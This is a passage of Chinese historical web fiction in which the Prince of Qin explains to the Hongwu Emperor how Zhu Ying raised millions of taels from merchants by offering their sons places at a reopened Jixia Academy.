可老朱只是稍稍一思索就又恢复了冷静.....他毕竟是历经大风大浪的开国帝王,深知遇事不能先自乱阵脚。他深吸一口气,将翻腾的情绪强行压下。 不对不对,以咱大孙的性子,绝对不会做这种事.....朱煐那孩子,心思缜密,做事有章法,更难得的是心存仁念,绝非急功近利、不择手段之人。这其中必定另有缘由。 “蒋瓛,这到底怎么回事?”老朱当即看向蒋瓛,声音已经恢复了平时的沉稳,但目光却锐利如刀,紧紧盯着殿下的锦衣卫指挥使。 蒋瓛不由苦笑,他知道皇上此刻心中必定惊疑不定,连忙躬身回话:“陛下,这臣也还不清楚啊,这些钱财是秦王和凉国公,朱御史一同运进来的,内库正在统计呢,不过臣以为朱御史不会在这种事情上说谎,于是就提前来禀报了。”他的语气小心翼翼,既不敢夸大,也不敢隐瞒。 “他们人在何处?”老朱追问,手指不自觉地在龙椅扶手上叩击着,显示出他内心并不像表面那么平静。 “刚把银钱交给内库,眼下正往御书房而来。”蒋瓛赶紧回答,“微臣是一路跑来的,不过算算时间,朱御史他们也该到了.....” 听到这话的老朱眉头一挑,心中已然有了计较:“你去门外看着,他们到了之后直接给咱带进来,咱要好好问问!”他倒要亲眼看看,这群人究竟弄的什么玄虚,是如何变出这四百多万两白银的。 老朱强压着内心中的困惑,他毕竟见惯了风风雨雨,在短暂的慌乱之后就又恢复了冷静,开始整理起了衣服..... 就在蒋瓛刚准备去门外的时候,门外却传来了朱樉的声音.... “父皇,儿臣求见!” 朱樉的声音中带着激动和兴奋,想到即将要在自己老爹面前露脸,朱樉就感觉莫名的一阵爽意席卷心头.....他几乎能想象到老朱惊讶又赞许的表情.....“陛下,秦王殿下和朱御史他们到了!”蒋瓛看向老朱,等待指示。 “还不快去开门?”老朱一瞪眼,看似不耐烦,实则心中也急切地想见到他们,问个水落石出。 蒋瓛赶忙应声,快步走向御书房沉重的大门。 ..... 御书房里,烛火摇曳,一道道烛光把整个御书房照得灯火通明..... 空气中有淡淡的墨香和檀香味混合在一起。 虽然现在已经是凌晨,可太阳还没有升起,阳光尚未洒落,天还只是泛着一点点鱼肚白的微光..... 通宵批阅奏章刚睡下不久被喊醒的老朱眼中带着些许血丝,但精神却因这突如其来的消息而高度集中。 蒋瓛打开了大门,门口站着一堆人。 秦王朱樉一身亲王常服,脸上是掩不住的得意;凉国公蓝玉则身披国公袍服,虽努力保持着武将的沉稳,但眉宇间也透着几分扬眉吐气; 皇孙朱允熥、御史朱煐则身着常服,朱煐神色平静,眼神清澈,看不出丝毫慌乱;张平、方孝孺两位文官紧随其后,面色肃然; 还有弓着身子,显得格外拘谨小心的商贾胡老三,他穿着崭新的绸缎衣服,但在这天家重地,依旧显得格格不入,额头上甚至渗出了细密的汗珠..... “蒋指挥使跑挺快啊,连本王都追不上蒋指挥使了。”朱樉心情很好,看到蒋瓛也不由调侃道,声音洪亮,打破了黎明时分的寂静。 “职责所在,下官这不得先过来给陛下禀告一声吗?否则这便是下官的失职了....”蒋瓛连忙赔笑,侧身让开道路。 “哈哈哈哈,蒋指挥使别紧张,理解,本王理解。”朱樉大笑着拍了拍蒋瓛的肩膀,显得很是亲热。 “不知现在本王可否入内?父皇他应该起来了吧?刚刚听到父皇的声音了。”朱樉蠢蠢欲动,他已经迫不及待地想要见到老朱了..... 虽然这筹措银两的事情不是他主导做的,是朱煐主导的,可好歹咱也是参与了不是?而且咱还是鼎力支持的,这计划全程也都参与了,这功劳没有,也该有苦劳吧?朱煐的计划成功,朱樉与有荣焉,因为他参与了! “王爷请便,陛下口谕,让大家入内觐见。” 蒋瓛和朱樉说完之后又冲着众人笑着说道。他的目光尤其在胡老三身上停留了一瞬,哪怕胡老三,蒋瓛这会儿都不敢怠慢,别的不说,光是这四百多万两银子的数字就已经直接把蒋瓛给吓到了...... 他从未想过这商贾居然能汇聚出如此惊人的力量! 这可不是四万两,也不是四十万两,这特么的可是整整四百多万两啊! 一个能够筹措到四百万两银子的商贾,谁敢怠慢? 整个大明一年的赋税也才这个银两两千万两,这可是整个大明,数千万百姓缴纳的税赋! 商贾,数日之内就汇聚出了堪比整个大明赋税五分之一甚至四分之一的银两?这商贾之力,恐怖如斯! 蒋瓛不得不承认,自己确确实实是小觑了商贾,商贾之力,远远超乎了他的想象!他暗自提醒自己,日后对待这些看似卑贱的商人,恐怕得换一番眼光和心思了...... ........ 御书房内,烛火摇曳。 老朱衣服都还没有穿好,朱樉领头,几人就进来了。夜风从半掩的殿门外渗入,吹得案几上奏折纸页轻微作响。 “儿臣拜见父皇!” “臣等拜见陛下!” 众人齐齐行礼,声音在空旷的殿中回荡,惊起一丝肃穆。 老朱挥了挥手,语气里带着刚被唤醒的沙哑:“行了行了,都给咱起来吧。”他外袍还未系全,发丝也有些散乱,可那双眼睛却早已清明如昼。 老朱现在心里头痒痒的,他迫切地想要弄明白心里头的疑惑,想要弄清楚这究竟是怎么一回事........这几日压在胸口的讶异与震动,如浪潮一波接一波,几乎让他坐立难安。 他的目光瞬间就落在了朱煐的身上。 对于这个大孙,老朱的心情复杂得很。短短月旬的时间里,发生了太多太多的事情,而这些事情无一不是和这失而复得的大孙有关。从认祖归宗到参政议政,从议论国策到筹措灾款,他每一步都走得让人瞠目,又步步踏实。 这些事情,全都是有利于大明之事! 难不成,当真是老天有眼?是大明德被天下,才降此英才于朱家? 原本老朱对于朱煐刚开始只是惊叹于朱煐的眼光,以及对流落在外多年的心疼,可后来朱煐的性子让老朱感觉到了佩服! 是的,佩服! 能让老朱佩服的人不多,可朱煐算得上一个!他不仅有胆识,更有谋略;不仅有仁心,更懂得何时该施以雷霆。 不过这性格也让老朱担心朱煐过于刚直,于是他在宫中就用奏章想要教自己这大孙一些处世之道。可没曾想,在朝中刚得不行、谁也不怕的大孙子,在处理政务的时候却变得格外的成熟,出的政令怀柔居多,条理清晰、进退有度,哪里有半点刚正的影子? 甚至老朱产生了一种在看自己批阅奏章的错觉! 经验手法眼光见识尽皆非常老道! 这是一个从未处理过政务的人?老朱只能将这归咎于天赋。而从这时老朱也就明白了一点,自己这大孙子刚正是刚正,可那也是分人对事的!对于他坚持的事他绝对不会后退,可面对他认为可以商榷的事情,他处理起来就十分到位。 不光是对事,也是对人,对于该以刚克刚的人就刚,面对要以怀柔手段对付的人,就柔! 这让老朱尤为欣喜,可刚可柔,可硬可软!这简直就是完美的模版啊!仿佛天生就是吃皇家这碗饭的料。 到这一步,老朱对于朱煐这个老天重新还给自己的继承人就已经是万分满意了,可没想到这湖广赈灾粮款筹措一事上,居然又给了他一个巨大的惊喜! 前几日在朝堂上湖广遭灾,朱煐主动站出来的时候老朱是高兴的,因为这代表朱煐本心是为百姓,他的眼里是有百姓的,知道百姓遭灾,心中着急。 老朱一直觉得这天下,谁都可以没有,但不能没有百姓!没有百姓的天下,还叫天下吗?没有百姓的支持,大明还能是大明吗? 水能载舟亦能覆舟! 老朱的思想也贯彻落实到了朱标的身上,朱标对于百姓的看法和老朱是一致的,这也是老朱最看重朱标的一点! 而在朱煐身上,看到这一点,老朱自然是高兴。 只是让老朱没有想到的是,朱煐居然大包大揽地直接接下了这给湖广筹措赈灾粮款的一应事宜! 这让老朱着实大吃一惊,甚至下意识就想要阻止,可老朱转念一想,他又收回了动作。 他想要借此机会给自己这大孙子一点点小小的挫折。 老朱深刻明白,想要当一个皇帝有多么不容易,要承受什么样的压力,他心疼朱煐可却不能溺爱,他想要培养自己这引以为傲的继承人........ 于是老朱决定让朱煐吃吃瘪,为自己的冲动买单,这样日后只要是遇到事情之后,那就会三思而后行,而不会如此急切,如此莽撞。 只是没想到就是这么一放纵,不得了了! 第二天朱煐就闹出了大动静,一日之内入宫三次,每一次入宫都给老朱带来了不同的震撼! 而第三次入宫更是直接把商贾带来了,而且同时带来的还有如今早已经入了内库的整整二十六万两银子和处在湖广附近的价值十万两银子的粮草! 老朱惊呆了! 他第一次深刻认识到什么叫做商贾的力量!而让他更震惊的是,自己都无法调动的商贾的力量,居然被朱煐这小子给调动了! 只是用了区区一个莫须有的稷下学宫? 这里面究竟是怎么一回事,老朱直到现在都还是一知半解,本来他是想要找朱煐问问的,可又担心朱煐这几日筹措银两太忙,于是强忍住了心中的疑惑,准备此事结束之后再询问,毕竟这时间不是多得是吗? 只是让老朱更没有想到的是,这特么的一等,不得了了! 刚刚正在睡觉呢,忽然就被蒋瓛给叫起来,并告知了朱煐已经筹措到整整四百多万两且已经带着钱入内库了的消息,这直接把困意给老朱给惊没了! 老朱此刻看着朱煐,心中忽然有种,自己好像已经被自己这大孙子给超过了的感觉........ 青出于蓝而胜于蓝,长江后浪推前浪啊........ 老朱虽然为自己的大孙子感到高兴,可心中又难免有那么些许的担心,毕竟这钱........太多了!多到令人心悸,多到让人不禁想问:一个少年,何以有如此手段?这背后,到底是什么样的机巧与布局? 到底是怎么回事? 老朱看着朱煐久久不语,眼神复杂如深潭。而老朱不说话,其他人也不敢开口........朱樉低头盯着靴尖,几位臣子更是屏息静气,不敢扰了圣虑。 一时间,御书房内陷入了古怪的寂静气氛中........只听得烛花偶尔爆响,和窗外远远传来的更漏声..... 气氛一时之间陷入了僵持,仿佛连空气都停止了流动....... ....... 最终还是朱樉实在忍不住了开了口。他双手微微发颤,藏在袖中攥成了拳,目光却灼灼地望向龙椅上的朱元璋,声音因激动而略显嘶哑。 “父皇,儿臣要告诉你一个好消息啊!” 朱樉激动地看向老朱,语气中带着难以掩饰的兴奋,甚至还有几分少年人献宝似的天真。他向前迈了一小步,像是要更靠近父亲一些。 “朱御史此番筹措湖广赈灾银两,重开稷下学宫,总共筹措到银两四百二十七万两,加上先前胡老板捐赠的三十六万两,总计四百六十三万两!” 他一字一句报出数字,每个字都咬得极重,仿佛掷地有声。殿内烛火跳跃,映得他眼中光芒闪烁。 “儿臣为朱御史请功!还请父皇赏赐!” 朱樉的话说的很巧妙,明面上说是给朱煐请功,但实际上却也是让老朱明白自己等人究竟干成了什么样的大事。他紧紧盯着朱元璋那张历经风霜、常年肃穆的脸,连呼吸都屏住了几分。 他倒是不求什么赏赐,他本身就已经是秦王,老朱一人之下,万万人之上,要说钱财,他有封地,封地还是富庶之地,压根就不缺钱。 他只是寻求一个认可,寻求老朱的认可,还有就是看到老朱那震惊的表情........哪怕只是一瞬间的动容,就足以让他心满意足。 只要能让自家的这老头子神色动容,朱樉就感觉这次入宫太值了! 这是一个一辈子都没有得到老爹认可,迫切想要干出事情惊讶自家老爹的朴素的儿子的思想........他像小时候第一次射中靶心那样,渴望从父亲脸上看到赞许的神色。 一个人的思想性格的形成和幼年时期的经历往往脱不开关系,朱樉的性格思想的形成就是如此,他所做的一切都有着童年时的影子........那个总是站在宫墙下,看着父皇手把手教大哥写字的孩子,如今依然在心里某个角落注视着父亲。 年少不可得之物,终将困其一生,或便如是。 无论是普通人,还是达官贵人亦或是名垂青史的大人物,无外如是........ 原生家庭的影响是难以脱离的,性格的优点,缺点,会在童年的经历中逐渐形成,逐渐放大..... 纵观老朱的这几个儿子,除了朱标之外,无论是朱樉、朱棡、亦或是日后的永乐大帝朱棣,他们无一不是在用自己的行为,自己的一生行动去证明自己的能力,去向老朱证明自己,去反抗老朱的蔑视........ 而这一切,都只是因为老朱对于他们从小到大的忽视..... 老朱的眼里,有且只有朱标一人,他用尽了全部的心力去培养朱标,而对于其他的儿子只是附带的。其他皇子得到的,永远都是朱元璋匆匆一瞥和程式化的训诫。 偏偏朱标的能力又确实出众,在这种情况下,朱樉选择了摆烂,选择了用出格的事情去吸引老朱的注意力,他成功了,于是一直践行着这条路,以至于形成了他的恶名,他暴虐的脾气,他那喜武不喜文的性子........ 朱棣也在用自己的行为抗争着老朱,老朱时刻防备着他,但他却硬是让老朱挑不出半点毛病,朱标去世前,朱棣从未想过造反,一来是知晓朱标的能力,二来就是想向老朱这个父亲证明,你是小觑了我朱棣! 不过历史上大明的滚滚洪流终究是影响到了朱棣的计划,朱允炆登基,朱棣为了自保起兵,以绝对的劣势反败为胜,靖难成功入主京城之后,朱棣又在用一生时间去证明,自己这个皇帝,当的没有错,自己是被逼无奈起兵,但同时自己做的不比朱允炆差,比朱允炆要好! 第81章 老朱的疑惑,揭穿! “蒋瓛,带胡老板去歇息歇息,等上朝了等咱传召。” 老朱给蒋瓛使了个眼色,目光在胡老三佝偻的背上掠过,带着几分深思。 蒋瓛当即会意,悄无声息地上前半步,对胡老三比了个"请"的手势。胡老三也是个有眼色的人,见此情形赶忙起身,因跪得久了,腿脚有些发麻,踉跄了一下才站稳。他不敢多看,躬着身子,几乎是小步倒退着跟着蒋瓛离开御书房。直到转过殿外的白玉栏杆,他才敢悄悄直起些腰,可手心依旧汗湿一片。 ...... 此时的御书房里面只剩下了朱樉、蓝玉、朱煐、朱允熥、方孝孺和张平几人.....殿内一时静极,唯有铜漏滴答作响,更显沉寂。方才胡老三在时还不觉得,此刻他一走,这御书房内的空气仿佛都凝重了几分。 老朱好奇地看向朱煐....手指无意识地摩挲着御案上摊开的一本奏折,那上面还沾着些许墨渍。 “朱御史,咱好奇你这银子....怎么这些商贾就愿意掏出来呢?咱去要银子,这些商贾怎么就不给呢?”老朱问出了这几天一直以来困扰他的问题.....他的眉头微微蹙起,这是真心实意的困惑。作为一个从底层一步步走上至尊之位的人,他自认为了解人心,可这一次,他却看不透了。 是的,这个问题已经困扰了老朱很多天了....自从那日见到胡老三献上的第一笔巨款,他就在思量。夜深人静时,他常常独自站在殿前,望着满天星斗思索这个问题。 老朱先前就想问的,可担心朱煐太忙自己又添乱不好,所以一直在自己想,隐约好像想出了一些东西,可却又不是很清晰....就像隔着一层纱,看得见轮廓,却摸不着实处。 让蒋瓛带走胡老三也是这个原因,老朱想弄清楚这其中的缘由.....这些商贾的银子,来得太容易,太诡异,让他这个皇帝都有些心惊。 若非这一次朱煐从商贾的手里弄出了这么多的银两,自己居然都不知道这些商贾这般有钱!手头居然暗藏了如此强大的财力!想到此处,老朱的眼神暗了暗,指尖在案几上轻轻敲击了一下。 老朱知道商贾的手里有钱,可他想不到居然会有钱到这种程度!这已经不是富可敌国的问题了,这是足以动摇国本的力量! 要知道,这只是稷下学宫的名额竞争,绝对不至于要了这些商贾的所有家产,换而言之,这些钱这些商贾给出来虽然有压力,但不至于动摇根本! 在不动摇根本的情况下,短短几天的时间,十个商贾就凑出了这整整四百六十三万两银子! 这是什么概念?这相当于大明一年赋税的三成有余! 这是一股什么力量?若是用在军备上,足以武装十万精锐;若是用在赈灾上,足以救活数省灾民。 甚至都能支撑一次造反的力量了!这个念头一闪而过,让老朱的后背泛起一丝凉意。 若非此次负责筹措银两的是朱煐,从商贾手里头弄来这些钱的是朱煐的话,老朱怕是得寝食难安!即便如此,他也已经在暗中加强了宫禁守卫,并让蒋瓛加紧了对这些大商贾的监视。 在胡老三捐献三十六万两的时候,老朱还以为只是胡老三一人有如此财力且舍得下这般本钱,可这没想到,大商贾....人人都能媲美胡老三啊!这让他既惊且怒,惊的是商贾之富,怒的是自己竟被蒙在鼓里这许多年。 想到前些年自己费劲巴拉的才从商贾手里弄来了几万两,抄家了领头的商贾才抄到了百万两,而眼下,朱煐没有抄家,甚至都没有主动拜访这些商贾,也没有给商贾写信,甚至这事情都主要是胡老三在办..... 可这些商贾就像是主动上来送钱一样,朱煐明明什么都没做,只是放出了个口风,这钱就哗哗哗地自然来了....收了钱好像还给了这些商贾天大的好处似的..... 看胡老三的态度,这给了几十万两银子,还感恩戴德?老朱越想越觉得不可思议,这完全违背了他对人性、对商贾秉性的认知。 老朱想不明白..... 在老朱看来,这什么稷下学宫,那都是没影的事儿,至于自己的圣旨....一张圣旨价值几十万两?别开玩笑了!真要这么值钱,老朱都想每天啥也不干就草拟圣旨就好了.....那岂不是日入上亿? 这不是扯淡的么? 定然也不会是草拟圣旨的原因...... 可那又是为什么呢? 想不明白的老朱,眼下终于问出了心中困扰了许久的疑惑......他的目光炯炯,直直看向朱煐,等待着答案。 ....... 御书房里,寂静无声....只有众人轻微的呼吸声此起彼伏。 桌案上宁心静气的檀香飘散着淡淡的淡雅之气....那缕缕青烟在空中蜿蜒盘旋,如同众人此刻的心思,百转千回。 “父皇,此事无需朱御史回答,儿臣知道!” 面对老朱的问询,朱煐还没有开口,朱樉却先一步直接出列说了话.....他跨前一步的动作有些大,衣袍带起一阵微风,惊得那檀香烟雾一阵乱颤。 瞬间,所有人的目光齐刷刷地看向了朱樉,落在了朱樉的身上....蓝玉的眼中带着难以置信,方孝孺抚须的手停在半空,张平微微张开了嘴,连朱允熥都睁大了眼睛。 老朱有些惊讶地看向朱樉,一旁的蓝玉微微蹙眉....这位沙场老将的目光如鹰隼般锐利,上下打量着朱樉,仿佛要从他身上找出什么不同寻常之处。 这秦王殿下知道?蓝玉心中嘀咕。秦王殿下什么时候开始动这等脑筋了? 秦王殿下的脑子,能知道个啥?不是蓝玉小瞧人,实在是朱樉往日里的表现太过"突出",让人无法对他抱有太大期望。 蓝玉皱眉的原因很简单,因为这个问题也困扰他很久了,他也想不明白.....昨夜他几乎一夜未眠,翻来覆去地想这个问题,却始终不得其解。 昨天蓝玉看到胡老三送来的四百多万两的时候整个人都彻底惊呆了,当场傻眼!他领军多年,深知粮草银饷的重要性,这么多银子,足以支撑一场大战了。 之后夜里更是辗转反侧睡不着觉,隔壁堆放着四百多万两的银子,蓝玉就辗转反侧地想啊,心惊这些商贾居然能拿出这么多银钱的同时却又想不通,朱煐到底是用了什么手段才让商贾能够掏出这么多的银子? 自己都没有想通,这秦王殿下是如何想通的?蓝玉不禁有些自我怀疑起来。 要说别人想通,蓝玉可以理解,可朱樉?蓝玉太了解了,秦王素来不爱动脑子啊.....他宁愿用拳头解决的问题,绝不会费神去思考。 不爱动脑子的秦王殿下都想通了,我蓝玉想不通?这....蓝玉甚至感觉自己受到了打击.....脸上有些挂不住,不由得轻咳一声掩饰尴尬。 ...... 面对大家疑惑的目光,朱樉却是挺了挺胸膛.....他似乎很享受这种被众人瞩目的感觉,尤其是这种带着惊讶和质疑的目光,更让他有一种扬眉吐气的快感。 老朱好奇地看着朱樉:“老二你知道?”语气中带着几分怀疑,几分期待。作为父亲,他当然希望儿子长进,但朱樉往日里的表现实在让人不敢抱有太大希望。 “是的父皇,儿臣知道!”朱樉笃定地点头,下巴微微扬起,显得颇为自信。 “其实父皇,想要知道朱御史是如何做到的,这很简单,其实关键就在于一点!”他故意停顿了一下,环视四周,享受着吊人胃口的感觉。 “哪一点?别给咱卖关子!”看着一脸得意的朱樉说到关键处忽然停下,老朱脸色一黑....手指已经无意识地摸向了桌上的镇纸。 这要换在以前,老朱就直接动手了,可现在朱樉好不容易有了改过自新的想法,并且在努力中,老朱努力压制着心里头的怒气,默默给了朱樉一个机会....他深吸一口气,将那股想要训斥的冲动压了下去。 冷静冷静....不能打击孩子当个好人学好的积极性....老朱在心里默念着,虽然眼前的"孩子"已经年过中年,两鬓甚至有了些许白发。 虽然如今的儿子已经年过中年,可知错能改在一个父亲看来,什么时候都不晚.....老朱的目光柔和了些许,等待着朱樉的下文。 “父皇,其实朱御史做到的很简单,就一点,那一点就是——换位思考!”朱樉挺身而出,胸膛高高挺起,一脸的自信,笑呵呵地看着懵逼愕然的老朱和周遭傻眼的蓝玉,以及一脸惊讶的张平,方孝孺以及朱允熥..... 至于朱煐的目光.....朱樉直接就略过了....他从来不喜欢做让自己不爽的事儿.... 听着朱樉的这话,老朱是有些惊讶,蓝玉是有些傻眼,张平、方孝孺、朱允熥是有些震惊,而朱煐.... 他嘴角抽了抽,欲言又止..... 看着眼前不断装比的朱樉,朱煐心里简直想骂娘....这厮昨夜死皮赖脸地缠着自己问东问西,原来是在这儿等着呢! 装比不是问题,可你当着我的面这么装逼,是不是有些过分了?朱煐感觉自己的太阳穴突突地跳,一种自己的成果被公然窃取还拿来炫耀的憋闷感油然而生。 罢了罢了.....朱煐暗暗吸了一口气,强行压下心头那股无名火。 朱煐终究还是气量大,努力说服自己.....就当是提前投资了,毕竟留着这张底牌拉朱老四的仇恨,还能当个后手..... 虽然朱煐觉得自己谋划已经是天衣无缝,但哪怕是百分之百成功率,他也喜欢留个后手,以防万一总归是没错的.... 世界如此美妙,不该如此暴躁,这样不好,不好....他甚至在心中默念了两遍清心咒,虽然没什么效果.... 朱樉还有用处,不过是忍受一下他装比而已,算不得什么,正好还不用自己开口说了.....省了唾沫,也挺好。朱煐如此想着,心情似乎舒畅了些许,但看着朱樉那副眉飞色舞的样子,嘴角还是忍不住抽搐了一下。 ...... 朱煐在心里宽慰着自己的同时,朱樉的言论已经引起了老朱以及周遭众人的错愕....那“换位思考”四个字如同石子投入平静的湖面,激起层层涟漪。 老朱有点懵....这词儿听着新鲜,可细琢磨又好像有点道理,但具体是什么道理,他一时没抓住。 “换位思考?”老朱下意识地重复了一遍,眉头皱得更紧了,仿佛在咀嚼这四个陌生字眼的含义。 “这换位思考是什么?”他抬起头,目光里充满了纯粹的疑惑,这是作为一个实用主义者对陌生理论的本能追问。 “哈哈哈哈,父皇你也不知道啊。”老朱话刚问出来朱樉就忍不住大笑,那笑声里带着几分难以掩饰的得意和终于在某些方面超越了父亲的快感。 因为老朱这问的,和朱樉昨夜开口问朱煐时的一般无二,一模一样....甚至连那困惑的表情都如出一辙。 “也?也是什么意思?除了咱还有人问过?”老朱是何等人物,立刻捕捉到了朱樉话里的纰漏,眼神瞬间变得锐利起来,带着审视的意味看向朱樉。 “呃...没...儿臣的意思是父皇您不知道是正常的!”朱樉心里咯噔一下,意识到自己说漏了嘴,赶紧打了个哈哈,试图用笑容掩饰过去,“这等微末技巧,父皇日理万机,不知晓才是常理!” 把老朱给糊弄过去.....朱樉暗暗松了口气,后背惊出一层细汗,赶紧把话题拉回正轨。 “其实这换位思考也简单,顾名思义就是换个位置思考问题。父皇您就试想一下,您是商贾,站在商贾的角度去看.....”朱樉一边说,一边观察着老朱的神色,见老朱没有深究刚才的失言,才放下心来。 “咱是商贾?站在商贾的角度去看?”老朱喃喃自语,他一生杀伐决断,多是站在统治者和受害百姓的角度看待商贾,何曾真正把自己放在商贾的位置上思量过? “是啊,倘若父皇你是商贾,虽然有钱却地位低下,士农工商,排在末等,处处受人歧视,连穿绸缎、乘车马都受限制,”朱樉见老朱似乎听进去了,说得越发来劲,“这时候,当今皇帝忽然给您写信,说是有地方遭了灾,朝廷有些困难,想要让您捐赠银钱....不光如此,皇帝还亲自来拜访您.....” 朱樉的话落入每个人的耳中,大家也不自觉地跟着朱樉的思路代入商贾这个角色.....蓝玉抱臂沉吟,方孝孺捻须蹙眉,朱允熥则眼神闪烁,似乎在想象那等场景。 只有朱煐毋自在一旁扶额....简直没眼看。这场景,这话术,甚至连语气停顿都如此熟悉。 老天爷....朱煐在心里哀叹一声。 这位爷还真是把啥都给学走了,这有样学样的,这说的....都是我的词儿啊!昨夜自己费尽口舌才让这位王爷明白的道理,他倒好,原封不动地搬来,还当成自己的见解了! “若咱是商贾,地位低下,此时皇帝写信来要钱,且亲自拜访,那....”老朱顺着朱樉的描述往下想,瞳孔骤然一缩,他显然已经是明白了其中的关窍!一种恍然大悟,夹杂着些许懊恼和难以置信的情绪在他脸上闪过。 他抬头看向朱樉.....眼神复杂。 朱樉说的情况不正是前些年自己写信给商贾诉说朝廷艰难,甚至屈尊降贵亲自拜访某些“义商”的事儿吗?那时他觉得已是天大的恩典,商贾就该感恩戴德、倾囊相助才对。 一直以来老朱都觉得是商贾一毛不拔,是商贾故意藐视朝廷的威严,故意羞辱自己,甚至因此雷霆大怒,处置了一批人。可眼下这么一换位代入,老朱怔住了.....仿佛一盆冷水从头顶浇下,让他瞬间清醒。 倘若自己是商贾,在这样的情况下,怎么敢露富?皇帝亲自上门哭穷,你这商贾要是还能拿出大把银子,你这钱是哪来的?是不是盘剥百姓?是不是偷税漏税?你比朝廷还有钱,你想干什么? 咱是大商贾,可在朝廷面前只是蝼蚁,在皇帝面前更是如此,一只随时可能被碾死的蚂蚁却又身怀巨富,此时朝廷和皇帝又刚好缺钱.....若是露了富....钱没了是小,命丢了是大啊!说不定还得连累家族!这哪里是捐钱,这简直是送命! “所以老二你的意思是,当初并非商贾吝啬,而是咱用错了法子?”老朱的声音有些干涩,他几乎是艰难地问出这句话。承认自己的错误,尤其是向来自诩英明的自己承认错误,并非易事。 朱樉点了点头,看到老头子那副深受震动的样子,心里别提多畅快了:“想必父皇也已经明白了,这些商贾本身地位就低,在朝廷官员面前尚且都没有话语权,动辄得咎,更别说面对父皇您了,无论是朝廷官员去找他们要钱还是父皇您去找他们要钱都只会有一个结果,那就是他们会诚惶诚恐,然后想尽办法藏好自己的钱财,以免露了富,被朝廷盯上!” “匹夫无罪怀璧其罪的道理父皇想必也是清楚的。”朱樉看着老朱那一副豁然开朗又略带尴尬的表情,心中暗爽....这种感觉,比夏天喝了冰镇酸梅汤还要痛快! 这是在自己的指点下,父皇才恍然大悟,豁然开朗的啊!朱樉的胸膛挺得更高了。 从小到大面对老头子只有训斥,什么时候能有这种自己指点老头子的情况了?这可是破天荒头一遭! “那朱御史他怎么就能让商贾乖乖拿钱呢?朱御史也是朝堂上的官员啊,难不成是因为他的官位小?”蓝玉不解,疑惑地开口。他打仗在行,对这其中的弯弯绕绕实在想不明白,眉头拧成了一个疙瘩。 朱樉微微一笑,问得好!他正愁没人搭腔呢,凉国公这问题来得正是时候! 就怕你不问,你这不问,咱这独角戏还咋唱了?正好借此机会,把昨夜从朱煐那里听来的东西好好显摆显摆。 朱樉当即转身看向蓝玉,笑道:“凉国公倒是想错了,朱御史之所以能让这些商贾乖乖拿钱,恰恰不是因为官位大小,而是因为朱御史从未去主动找过这些商贾啊!”他特意加重了“从未”两个字。 “这些商贾就像是那惊弓之鸟,任何主动上门去找他们要钱的人,他们都保持着绝对的警惕,他们会认为是陷阱,是敲诈,是勒索的前奏。大家就换位思考代入一下。”朱樉挥了挥手,试图让所有人都沉浸到他营造的情境中去。 “现在你是一个通过自己努力,摸爬滚打多年,从底层一步步赚到钱,成为商贾的人,还是个大商贾,这些年你经历了无数的尔虞我诈,无数的背叛,见识了人心险恶,万幸,你赚到了不少的银钱,虽然被人看作贱籍,并不被人看得起,但你有钱,你的日子过得不错,比普通人不知道好上了多少倍!”朱樉描述得绘声绘色,仿佛自己真经历过那般。 “这时候忽然有人找你要钱,而这个人是朝廷的人,哪怕他只是一个小官,代表着官家势力,你会如何想?这钱你敢给吗?给了之后会不会被当成肥猪,这次割一块肉,下次再来割一块?甚至直接找个由头抄家灭门?”朱樉的目光扫过众人,发出灵魂拷问。 朱樉的话让全场陷入了沉默.... 朱煐是无语到沉默....这厮学舌学得可真全乎! 老朱沉默了....他彻底明白了当初自己的方式为何会失败,甚至起到了反效果。 蓝玉沉默了....他带兵打仗也知道强征粮草会引起民变,没想到这要钱也有这么多讲究。 张平、方孝孺、朱允熥都顺着朱樉的思路在代入商贾的角色之后思考,越想越觉得胆战心惊,换做自己是商贾,恐怕也会做出同样的选择,而后都陷入了沉默.....那是一种基于理性分析和换位共情后得出的无奈结论。 答案已经呼之欲出,不敢! 必然是不敢的!谁也不敢拿身家性命去赌官家的仁慈。 见大家被自己给问住,朱樉心头更爽了,大感昨夜没有白拜访朱煐,那点不耐烦和憋闷此刻都化为了价值。 越说朱樉越有自信了,他挺了挺胸膛,感觉自己从未如此睿智过,仿佛智慧的光芒正笼罩着自己。 “大家想必心里都已经有了答案,那就是不敢!绝对不敢给!”朱樉斩钉截铁地总结道,目光炯炯有神。 “而朱御史的巧妙之处就在于此处,朱御史只是放出了个风声,说是要重开稷下学宫,且父皇下令说是可以允许招收商贾家的子弟!”朱樉继续说道,开始揭示“秘籍”的后半部分。 “这其中又有一点要注意,那就是朱御史清晰洞察了商贾的需求!”朱樉伸出食指,强调道。 “现在请大家再次代入商贾的角度思考!” 朱樉开口说话,言语间已经越来越熟练,甚至带上了一点教书先生般的口吻,仿佛已经完全掌握了这门“换位思考”的学问...... “你是一个商贾,你被人看不起,你是贱籍,纵有家财万贯,见了九品小吏也得点头哈腰,但你不缺钱,你缺的是尊重,是地位,是子孙后代能挺直腰板做人的机会!这个时候,有一个天大的机会摆在你面前,那就是朝廷要重开稷下学宫,且稷下学宫号称日后大明第一学府,师资力量雄厚,未来前程远大,甚至隐隐要比国子监更好,而此时,又有一则消息悄然在圈子里流传,说是稷下学宫破天荒地允许招收商贾家的子弟......” 朱樉的声音带着一种蛊惑力,引导着众人沉浸到他所描绘的情境中。他稍作停顿,目光扫过众人,最终落在老朱身上,抛出了一个尖锐的问题。 “你已经是贱籍,你已经是人下之人,哪怕你有钱也是人下人,穿着绫罗绸缎却进不了正经场合,住着高宅大院却得不到半分尊重,那你想要你的儿子也继续当贱籍,继续当这被人戳脊梁骨的商户吗?让你的孙子,你的孙孙辈,都永远抬不起头来吗?” 他环视着陷入沉思的众人,语气陡然拔高,带着一种毋庸置疑的肯定。 “所以........?” 他刻意拉长了语调,将最后的答案留给了听众,也留给了正在苦苦思索的老朱。 “父皇,可明白了?”朱樉看向老朱,脸上满是笑意.....那是一种混合了得意、期待和一丝丝炫耀的笑容,仿佛一个刚刚解出难题、等待师长夸赞的学子。 而此时的老朱,也已经恍然大悟!他猛地一拍大腿,发出“啪”的一声响,眼中精光四射,多日来的困惑瞬间烟消云散,一种拨云见日般的畅快感涌上心头。 “是啊!咱怎么就没想到这一层!”老朱的声音因为激动而略微提高,“商贾有钱可却没有地位,地位低下,他们是贱籍,世代难以翻身,可朱御史却给了他们一个儿子脱离贱籍,通往仕途,光宗耀祖的机会!这是砸锅卖铁都要求来的青云路啊!他们自然趋之若鹜,拼尽家财也要争上一争!” 思路一旦打开,便如江河奔涌。老朱越想越觉得此法妙不可言,一个更“宏大”的计划瞬间在他脑中成型。 